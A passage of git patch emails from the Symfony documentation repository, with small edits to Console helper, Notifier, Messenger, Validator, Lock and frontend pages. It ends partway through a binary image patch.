+When using the ``FrameworkBundle``, two more options are predefined:
+
+* ``--env``: sets the Kernel configuration environment (defaults to ``APP_ENV``)
+* ``--no-debug``: disables Kernel debug (defaults to ``APP_DEBUG``)
+
+So your custom commands can use them too out-of-the-box.
+
 .. _`docopt standard`: http://docopt.org/

From d19f25c1480c7732652006c9bdaa7faa30b2def4 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 11 Aug 2023 15:17:05 +0200
Subject: [PATCH 3649/5766] [Console] Add `ProcessHelper` link to the list of
 helpers

---
 components/console/helpers/processhelper.rst | 9 +++++----
 console.rst                                  | 1 +
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index ef462cef731..e3f1c8a09d2 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -1,11 +1,12 @@
 Process Helper
 ==============
 
-The Process Helper shows processes as they're running and reports
-useful information about process status.
+The Process Helper shows processes as they're running and reports useful
+information about process status.
 
-To display process details, use the :class:`Symfony\\Component\\Console\\Helper\\ProcessHelper`
-and run your command with verbosity. For example, running the following code with
+To display process details, use the
+:class:`Symfony\\Component\\Console\\Helper\\ProcessHelper` and run your command
+with verbosity. For example, running the following code with
 a very verbose verbosity (e.g. ``-vv``)::
 
     use Symfony\Component\Process\Process;
diff --git a/console.rst b/console.rst
index 28b560d1f9b..ee4f5db48e7 100644
--- a/console.rst
+++ b/console.rst
@@ -593,6 +593,7 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program
+* :doc:`/components/console/helpers/processhelper`: allows to run processes using ``DebugProcessHelper``
 * :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal
 
 .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status

From e98545b603dda7f131fec4a39ac7f01e4f39e5f0 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 11 Aug 2023 16:46:44 +0200
Subject: [PATCH 3650/5766] [Console] Mention `SymfonyStyle` in helpers doc

---
 .../console/helpers/formatterhelper.rst       |  8 +++-
 components/console/helpers/progressbar.rst    |  5 ++
 components/console/helpers/questionhelper.rst | 47 ++++++++++---------
 components/console/helpers/table.rst          |  9 +++-
 console/style.rst                             |  8 ++++
 5 files changed, 53 insertions(+), 24 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 4e3f11940fd..135a5898778 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -13,7 +13,13 @@ in the default helper set and you can get it by calling
 
 The methods return a string, which you'll usually render to the console by
 passing it to the
-:method:`OutputInterface::writeln <Symfony\\Component\\Console\\Output\\OutputInterface::writeln>` method.
+:method:`OutputInterface::writeln <Symfony\\Component\\Console\\Output\\OutputInterface::writeln>`
+method.
+
+.. note::
+
+    As an alternative, consider using the
+    :ref:`SymfonyStyle <symfony-style-blocks>` to display stylized blocks.
 
 Print Messages in a Section
 ---------------------------
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 3e43452a737..dd4e5ec7f78 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -6,6 +6,11 @@ information, which updates as your command runs:
 
 .. image:: /_images/components/console/progressbar.gif
 
+.. note::
+
+    As an alternative, consider using the
+    :ref:`SymfonyStyle <symfony-style-progressbar>` to display a progress bar.
+
 To display progress details, use the
 :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`, pass it a total
 number of units, and advance the progress as the command executes::
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 01c7174e723..07cc75877b5 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -15,6 +15,11 @@ first argument, an :class:`Symfony\\Component\\Console\\Output\\OutputInterface`
 instance as the second argument and a
 :class:`Symfony\\Component\\Console\\Question\\Question` as last argument.
 
+.. note::
+
+    As an alternative, consider using the
+    :ref:`SymfonyStyle <symfony-style-questions>` to ask questions.
+
 Asking the User for Confirmation
 --------------------------------
 
@@ -82,9 +87,9 @@ if you want to know a bundle name, you can add this to your command::
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -120,7 +125,7 @@ from a predefined list::
         $output->writeln('You have just selected: '.$color);
 
         // ... do something with the color
-        
+
         return Command::SUCCESS;
     }
 
@@ -162,7 +167,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
 
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
-        
+
         return Command::SUCCESS;
     }
 
@@ -191,9 +196,9 @@ will be autocompleted as the user types::
         $question->setAutocompleterValues($bundles);
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -230,9 +235,9 @@ provide a callback function to dynamically generate suggestions::
         $question->setAutocompleterCallback($callback);
 
         $filePath = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the filePath
-        
+
         return Command::SUCCESS;
     }
 
@@ -254,9 +259,9 @@ You can also specify if you want to not trim the answer by setting it directly w
         $question->setTrimmable(false);
         // if the users inputs 'elsa ' it will not be trimmed and you will get 'elsa ' as value
         $name = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the name
-        
+
         return Command::SUCCESS;
     }
 
@@ -285,9 +290,9 @@ the response to a question should allow multiline answers by passing ``true`` to
         $question->setMultiline(true);
 
         $answer = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the answer
-        
+
         return Command::SUCCESS;
     }
 
@@ -313,9 +318,9 @@ convenient for passwords::
         $question->setHiddenFallback(false);
 
         $password = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the password
-        
+
         return Command::SUCCESS;
     }
 
@@ -347,7 +352,7 @@ convenient for passwords::
             QuestionHelper::disableStty();
 
             // ...
-            
+
             return Command::SUCCESS;
         }
 
@@ -376,9 +381,9 @@ method::
         });
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -420,9 +425,9 @@ method::
         $question->setMaxAttempts(2);
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -482,9 +487,9 @@ You can also use a validator with a hidden question::
         $question->setMaxAttempts(20);
 
         $password = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the password
-        
+
         return Command::SUCCESS;
     }
 
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index e3bb282ed7e..e83ed352a3e 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -14,6 +14,11 @@ When building a console application it may be useful to display tabular data:
     | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
     +---------------+--------------------------+------------------+
 
+.. note::
+
+    As an alternative, consider using the
+    :ref:`SymfonyStyle <symfony-style-content>` to display a table.
+
 To display a table, use :class:`Symfony\\Component\\Console\\Helper\\Table`,
 set the headers, set the rows and then render the table::
 
@@ -38,7 +43,7 @@ set the headers, set the rows and then render the table::
                 ])
             ;
             $table->render();
-            
+
             return Command::SUCCESS;
         }
     }
@@ -414,7 +419,7 @@ The only requirement to append rows is that the table must be rendered inside a
             $table->render();
 
             $table->appendRow(['Symfony']);
-            
+
             return Command::SUCCESS;
         }
     }
diff --git a/console/style.rst b/console/style.rst
index 59ad22ba3fa..98ab5d66b38 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -96,6 +96,8 @@ Titling Methods
 
         // ...
 
+.. _symfony-style-content:
+
 Content Methods
 ~~~~~~~~~~~~~~~
 
@@ -219,6 +221,8 @@ Admonition Methods
             'Aenean sit amet arcu vitae sem faucibus porta',
         ]);
 
+.. _symfony-style-progressbar:
+
 Progress Bar Methods
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -267,6 +271,8 @@ Progress Bar Methods
     Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
     styled according to the Symfony Style Guide.
 
+.. _symfony-style-questions:
+
 User Input Methods
 ~~~~~~~~~~~~~~~~~~
 
@@ -329,6 +335,8 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
+.. _symfony-style-blocks:
+
 Result Methods
 ~~~~~~~~~~~~~~
 

From 96ebe0656372dbfa8befa593188f782fbe763ef4 Mon Sep 17 00:00:00 2001
From: Ahmed Ghanem <ahmedghanem7361@gmail.com>
Date: Sat, 12 Aug 2023 00:17:31 +0300
Subject: [PATCH 3651/5766] [Notifier] Add GoIP bridge

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index d86968b78c7..2988ad8b599 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -69,6 +69,7 @@ Service             Package                                DSN
 `FakeSms`_          ``symfony/fake-sms-notifier``          ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
 `FreeMobile`_       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
 `GatewayApi`_       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+`GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
 `Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
 `Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 `iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
@@ -465,7 +466,7 @@ Service          Package                               DSN
 
 .. versionadded:: 6.4
 
-    The Novu and Ntfy integrations were introduced in Symfony 6.4.
+    The Novu, Ntfy and GoIP integrations were introduced in Symfony 6.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -1012,6 +1013,7 @@ is dispatched. Listeners receive a
 .. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
 .. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
 .. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
+.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md
 .. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md

From a94292604f8ad6f36d8b1b7db4e790a6be1ed8a3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 14 Aug 2023 09:31:10 +0200
Subject: [PATCH 3652/5766] [Messenger] Delete obsolete `versionadded`
 directive

Fixes #16535
---
 messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 64704f65b4e..6835e8dff11 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2404,10 +2404,6 @@ middleware and *only* include your own:
 Middleware for Doctrine
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 1.11
-
-    The following Doctrine middleware was introduced in DoctrineBundle 1.11.
-
 If you use Doctrine in your app, a number of optional middleware exist that you
 may want to use:
 

From 2f275d87eee181ed465b3c4b4e53bc01901fb1df Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 14 Aug 2023 09:50:23 +0200
Subject: [PATCH 3653/5766] Minor

---
 service_container.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 5b15dd83356..b372ae2b018 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -346,8 +346,8 @@ made. To do that, you create a new class::
 
     class SiteUpdateManager
     {
-        private $messageGenerator;
-        private $mailer;
+        private MessageGenerator $messageGenerator;
+        private MailerInterface $mailer;
 
         public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
         {

From 97ccd6c6722c4e2e2ff751667a3ea36e6e233dd7 Mon Sep 17 00:00:00 2001
From: PEHAUT-PIETRI Valmont <valmont.p@hotmail.com>
Date: Mon, 14 Aug 2023 09:53:17 +0200
Subject: [PATCH 3654/5766] [Validator] add section for overridden properties

---
 validation.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/validation.rst b/validation.rst
index 33b578216dd..661bf14252e 100644
--- a/validation.rst
+++ b/validation.rst
@@ -730,6 +730,27 @@ constraint that's applied to the class itself. When that class is validated,
 methods specified by that constraint are simply executed so that each can
 provide more custom validation.
 
+Validating Object With Inheritance
+----------------------------------
+
+When you validate an object that extends another class, the validator
+automatically validates constraints defined in the parent class as well.
+
+.. caution::
+
+    Note that overriding a property with others constraints in a child class
+    will not remove the constraints defined in the parent class on that same
+    property.
+    Instead, the constraints will be merged for that property.
+    This is related to Java Language Specification.
+
+.. tip::
+
+    If you want to override constraints defined in the parent class, you should
+    define them in a different validation group instead and validate the object
+    with that group.
+    See :doc:`Validation Groups </validation/groups>` for more information.
+
 Debugging the Constraints
 -------------------------
 

From 756a0caba91f35a344f22f9c01dbe79451b6b442 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A1chym=20Tou=C5=A1ek?= <enumag@gmail.com>
Date: Fri, 4 Nov 2022 10:13:24 +0100
Subject: [PATCH 3655/5766] [Messenger] HandlerArgumentsStamp

---
 messenger.rst | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b8148dc93c4..34582ec8bc8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2513,6 +2513,59 @@ of the process. For each, the event class is the event name:
 
     The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.2.
 
+Additional Handler Arguments
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It's possible to have messenger pass additional data to the message handler
+using the :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`.
+Add this stamp to the envelope in a middleware and fill it with any additional
+data you want to have available in the handler::
+
+    // src/Messenger/AdditionalArgumentMiddleware.php
+    namespace App\Messenger;
+
+    use Symfony\Component\Messenger\Envelope;
+    use Symfony\Component\Messenger\Middleware\MiddlewareInterface;
+    use Symfony\Component\Messenger\Middleware\StackInterface;
+    use Symfony\Component\Messenger\Stamp\HandlerArgumentsStamp;
+
+    final class AdditionalArgumentMiddleware implements MiddlewareInterface
+    {
+        public function handle(Envelope $envelope, StackInterface $stack): Envelope
+        {
+            $envelope = $envelope->with(new HandlerArgumentsStamp([
+                $this->resolveAdditionalArgument($envelope->getMessage()),
+            ]));
+
+            return $stack->next()->handle($envelope, $stack);
+        }
+
+        private function resolveAdditionalArgument(object $message): mixed
+        {
+            // ...
+        }
+    }
+
+Then your handler will look like this::
+
+    // src/MessageHandler/SmsNotificationHandler.php
+    namespace App\MessageHandler;
+
+    use App\Message\SmsNotification;
+
+    class SmsNotificationHandler
+    {
+        public function __invoke(SmsNotification $message, mixed $additionalArgument)
+        {
+            // ...
+        }
+    }
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`
+    was introduced in Symfony 6.2.
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 

From 8f966c06ed10a06c8908c94a264b5a3c95af739f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 14 Aug 2023 10:02:44 +0200
Subject: [PATCH 3656/5766] Minor

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 34582ec8bc8..3a00b1f4c57 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2553,7 +2553,7 @@ Then your handler will look like this::
 
     use App\Message\SmsNotification;
 
-    class SmsNotificationHandler
+    final class SmsNotificationHandler
     {
         public function __invoke(SmsNotification $message, mixed $additionalArgument)
         {

From 6d0552c954e534e8438388db0c3ca29187926c73 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 14 Aug 2023 10:47:37 +0200
Subject: [PATCH 3657/5766] Ref for autowiring alias

Replaces
* https://github.com/symfony/symfony-docs/pull/17051
---
 service_container.rst            | 4 +++-
 service_container/autowiring.rst | 2 ++
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index b372ae2b018..fa3681e06f9 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1286,7 +1286,9 @@ admin email. In this case, each needs to have a unique service id:
 In this case, *two* services are registered: ``site_update_manager.superadmin``
 and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 ``SiteUpdateManager`` the first (``site_update_manager.superadmin``) will be passed.
-If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`.
+
+If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
+or to create a named ref:`autowiring alias <autowiring-alias>`.
 
 .. caution::
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index cd53bbeef35..85b649778bf 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -423,6 +423,8 @@ Additionally, you can define several named autowiring aliases if you want to use
 one implementation in some cases, and another implementation in some
 other cases.
 
+.. _autowiring-alias:
+
 For instance, you may want to use the ``Rot13Transformer``
 implementation by default when the ``TransformerInterface`` interface is
 type hinted, but use the ``UppercaseTransformer`` implementation in some

From 2802d22ff7dc6bb9ba51fbfec1970ab2dcd1d415 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Mon, 14 Aug 2023 10:56:15 +0200
Subject: [PATCH 3658/5766] [Lock] 15952 Remove mention off DBAL Connection
 support for locking

---
 components/lock.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index b504abbfc74..77334d0240a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -513,13 +513,12 @@ MongoDB Connection String:
 PdoStore
 ~~~~~~~~
 
-The PdoStore saves locks in an SQL database. It is identical to DoctrineDbalStore
-but requires a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does
-not support blocking, and expects a TTL to avoid stalled locks::
+The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does not
+support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 
-    // a PDO or DSN for lazy connecting through PDO
+    // a PDO instance or DSN for lazy connecting through PDO
     $databaseConnectionOrDSN = 'mysql:host=127.0.0.1;dbname=app';
     $store = new PdoStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
@@ -579,9 +578,8 @@ the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method.
 PostgreSqlStore
 ~~~~~~~~~~~~~~~
 
-The PostgreSqlStore and DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL.
-It is identical to DoctrineDbalPostgreSqlStore but requires `PDO`_ connection or
-a `Data Source Name (DSN)`_. It supports native blocking, as well as sharing
+The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
+`PDO`_ connection or a `Data Source Name (DSN)`_. It supports native blocking, as well as sharing
 locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;

From f0f0289a0023c41cb30b58edcebdb8355c27b82c Mon Sep 17 00:00:00 2001
From: rcsofttech85 <rcsofttech85@gmail.com>
Date: Mon, 14 Aug 2023 16:13:06 +0530
Subject: [PATCH 3659/5766] typo fix

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index fe16ee1d66f..f1da9c3d203 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1443,7 +1443,7 @@ Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this
         ) {
         }
 
-        public function sendMail($string $message, array $parameters): string
+        public function sendMail(string $message, array $parameters): string
         {
             $formattedMessage = $this->formatter->format($message, $parameters);
 

From 0136cae526ff8f8c104dbf20c49cef8909d139ce Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 14 Aug 2023 16:14:13 +0200
Subject: [PATCH 3660/5766] [Frontend] Create a UX bundle: fix code block
 indentation

---
 frontend/create_ux_bundle.rst | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 095b9c6d84b..12002d10356 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -70,22 +70,22 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
 
     1. Add the following to your ``package.json`` file:
 
-    .. code-block:: json
-
-        {
-            "scripts": {
-                "build": "babel src --extensions .ts -d dist"
-            },
-            "devDependencies": {
-                "@babel/cli": "^7.20.7",
-                "@babel/core": "^7.20.12",
-                "@babel/plugin-proposal-class-properties": "^7.18.6",
-                "@babel/preset-env": "^7.20.2",
-                "@babel/preset-typescript": "^7.18.6",
-                "@hotwired/stimulus": "^3.2.1",
-                "typescript": "^4.9.5"
-            }
-        }
+       .. code-block:: json
+
+           {
+               "scripts": {
+                   "build": "babel src --extensions .ts -d dist"
+               },
+               "devDependencies": {
+                   "@babel/cli": "^7.20.7",
+                   "@babel/core": "^7.20.12",
+                   "@babel/plugin-proposal-class-properties": "^7.18.6",
+                   "@babel/preset-env": "^7.20.2",
+                   "@babel/preset-typescript": "^7.18.6",
+                   "@hotwired/stimulus": "^3.2.1",
+                   "typescript": "^4.9.5"
+               }
+           }
 
     2. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
 

From 49470102e884275fd3eefb3d8ee227a1c595d92d Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 9 Apr 2021 11:46:53 -0400
Subject: [PATCH 3661/5766] [Form] add tailwindcss form theme docs

---
 _images/form/tailwindcss-form.png | Bin 0 -> 38574 bytes
 form/tailwindcss.rst              |  95 ++++++++++++++++++++++++++++++
 forms.rst                         |   1 +
 3 files changed, 96 insertions(+)
 create mode 100644 _images/form/tailwindcss-form.png
 create mode 100644 form/tailwindcss.rst

diff --git a/_images/form/tailwindcss-form.png b/_images/form/tailwindcss-form.png
new file mode 100644
index 0000000000000000000000000000000000000000..8a290749149b5f0c5c5c2f897cbadc1a6be081da
GIT binary patch
literal 38574
zcmd?RbySqm`!6a(3Ifs{N{N)z(4h!OgLDrq(%mHjN{4hR-9vY$r1a1XLr8bm9l-B7
z_m3ODd(Jv{-L>vNx?bLQ_I`Ff`}ur6&)(k^<s~uENztD?d4ehR;r+)aPY@tao*=$J
zLxKNAW;Vm%$rI`)Qt#iYxaw`syXnNLF83S^59EOu`Cm&&N&S?PMotPakxrE1z)K>N
zt6lvVEN4wu`zt>K_Jz*$bIz9*FqgPw4;@~AG*@i!w~u&|%qm<+M9-7FOB;N@W%%mU
z5;b4P&#eotyQL%Q51k(8irk*Vu#f2wo_-Jo;6{ojqF+lPXy>H8mW4n0BGH2I6<Z5v
z9^UyPF;i#wRy`>Q{sDhMjqvmpXae>AfB0L%=ZdXbPgKRF?+fuo!Uu06KKz^-0R!z7
zh{d<yCEeqP=o%;gs`5ofdJP0saD0$QUYDq1+5hzV<71VIb^sGfu;!KN$jO98<64nn
zcMK2uP({(sUI!9=nNK!07J*rYfXrh}eL5NE2n{xbR;Wb`b-l00f2}v9zwzhU*gw>3
zT+r)C!K#9;STAUjMr=hs;pgu2InY!)J2OZER1c7;B0pFw+J%8H0vaYa9?O-=BHQxx
zgJg$5-V1bN9&khm@7Q|HptAJ<u&W$iVmG-b7;H_x*+xLN?Bc2W{Mew?7mC-uO*z1|
z5wq?O&feQWM`51}d|4u#$AupHrnL{LPZ-pas1QWtyi{d~!AXf6ig5MaZN<X%lJxp!
zXV|qt3`e<hL!``Ek9hBzA#J6Iv{rbtqn9xgU6xHd@mB%OV~4$>R+LBZh&=VnJom^X
z?Vc478Bbda4?woW?Z3HXXDMSBLcHF$KmRTVwfI&%ACwm%2{q3>jd>g@NT4VmvgN@f
zXw0SgZIC+lGPfC~jZ3i&{=nrN*!(k(o{f#EJStt0l_S%{<1iGx1{w9ZblHRm$OwDH
zoYrY3osg7PC%?CEc~u?itP~>k*#DOAT7v<=kR2L+j^i<=fOft!z3w!SOR}gc-M<l6
z!v}-N+jbk%Nn}vQ8bxOz+@GY6B$8gL#m7F_Hv1gx*-EOfScX{Y!o#`#`x+tfiawVI
zQgP_^tjBDurt$4;S<uB*u<C%TN~uC+7;Bc+<G2|B;;<pd^Nllh<PBt%Mj9e)<fGUz
z-ix3>r@XG+1L5PvkLhV|V~D4ED0+(0U32e1rW6e^^7EdbeDuAx%ZH*P-5J=zc3ojd
z)t~hrr@t@3Qw?E|AE&@NC(xL)tVO4_<gL+6L{iu6yzbHp7JX>qaLzNTUqIA^oPe-(
z5K-Cnm_NB(6QF7@%WbQ9K=WL%L=7po;NNnwrd90oB`A1UEAT)4_o*++hw%wXduXXX
z_2HcgCVWOsd@>Wtet7&*;R~ovX>$^IuqlrefDS1b8FH6?czk6B|CY~x%lTn>DRRS?
znrde1$&bg!A^5lUC{sHRGcV&aeCZWR2y8Jvj6_BXGBZ9n@j6_{hjBfK@pOk{*x};Y
zcw>Wn8CzK|DktZ~d~-^Q^!`AL|4DVKIO*~v`pwPt(-LF8j}<?g@-uKX7H3kOs^BhR
z5MV+DUJR<pJ@epY7U&hT3U)m{n&lm*`xbJGQ;GRWX-GJiZ(+;MyE0kos&_$U{O-w~
z{Z|ov*(#Xd`PnDq+a^oCZ_C0*IN>LUtB`qUW%{}m!3zsVbohJ3Rj5i5A*9=n9zln)
zDz+Ly&UaZWeoe1l0)Pvq^IJyUUZ6H~m;88shc&<78_w(H8X2_x<)Y|JVpC#{8l)iU
zkkL=fDtz`r0jY+0U4Lcr0Aqi-eEt08cod-;0eCS6G9AA{*zelcj^N?8#}RJru#~p6
zz&p3ZkmH#ueUw?~%MzAU5+$no{FQfWnsD!TtHmRcOlki7y#RY)A>P@uvz(lR#qHWA
z2OCmaA{r2riW-9UabD9k;8e$!ta)KguD|I8mtw2hUxlyMtO!pvB;fwZWAJA1MJz!t
z9vP~G$L$`4N-JS*exHl6+MLL1d~la}gM~;Yj^*z`#{i^)KwlHUBv14mw@biErp|Bs
z)`hX;?l$F5b1z+#m7WD@J)`dsNpgN0$PJMl6;A1k2&uLc=1Ub3;B~liXcNTUmOHuL
zu{9*|NJn2iYdm2c<EaonUOzh6n5%H2Ipg7LKX{8k9wO8i>zKE;Ddqq6t>B-U?7E_@
zjvVmF_}(l4LSXyVquLtg-7%U3-MT(YLBoVXsx>&qD8M$0AvtYt=iFRyQdb?HeSiDn
z8rS1T3bVlHT6YH<SKhE>Uv^L~y+d*?qB?H$MS3btjR*Fx>4CQK{+6@XM`#RU{(RL3
z&*MjTLgQRe<)903YuKrGkvGNNM=gx{hZ>84Yr*8u+#%g_n;6?P^t}Q7U@aoSrg)>D
zN4(8Dk!7jYM~5qHPiO1?QYf9{AAGm!L=AA*{luX@lmhkPB^<4mcr_&c)&9K6%9wa&
zY$7Dk|I4Sz25~(P(!oWUW^}WuG*f+vQQkA0fkk${?4zl5@;YLNZ%n+l$?FbtWaJ+*
z=`V;%6&$QJUx`SN?mp#C@^Dc9gTHH|oFVE^r^)`JGpHxhz%$O#);7l(;cn3g0O3AI
z8`7?U#?7M2`}C?uL<A+mn_(k14PUPZg&!3d{h~26m_Zv{Xbd*$+vT{tH+r-!CQfT@
zy3jfEfdC7{)3c_xo(mo{6YgQZ?A9ADjxK17m%_C7zK~^vM?x+bZ?|}P7E!Wg<s+=c
z=id5IhCThontQ>0EyO{tlW!g`-rX%uyEoL%Zb+225SSbf1j&*4VlnW-cs-wElH;D6
zDABG{pd5T~e11|go9Fli)|9r~W6ZWoG7-Y>RNgC?Ftp>3G6puVZcT%h`d^zv=A!N>
z=DWY2RXcQ9uqwPi1u8U9L2FysL@4dEnp;FLQ!04RMm$oaY&$PHJ|)#u292UvuAR|d
zULGzQt8ZSN{qp0~3BCBHU(Fy|`VuhtMgU6oJKY1>z9yF<i;9kpBl>8n(u&?3+H}Ex
z{OWWVGdC)pB0g-DUfDyMD*_Wp7t0P3v0qJd^J2frU-~eA%95|yI)V>=I==6Yl{=I+
zJ|Im^cSr*h(zb;ElwE|Ak7&8SP28+@-iLQ6&Gt4^{Mx=ZHb+}zd120W;Or=hZ0-aR
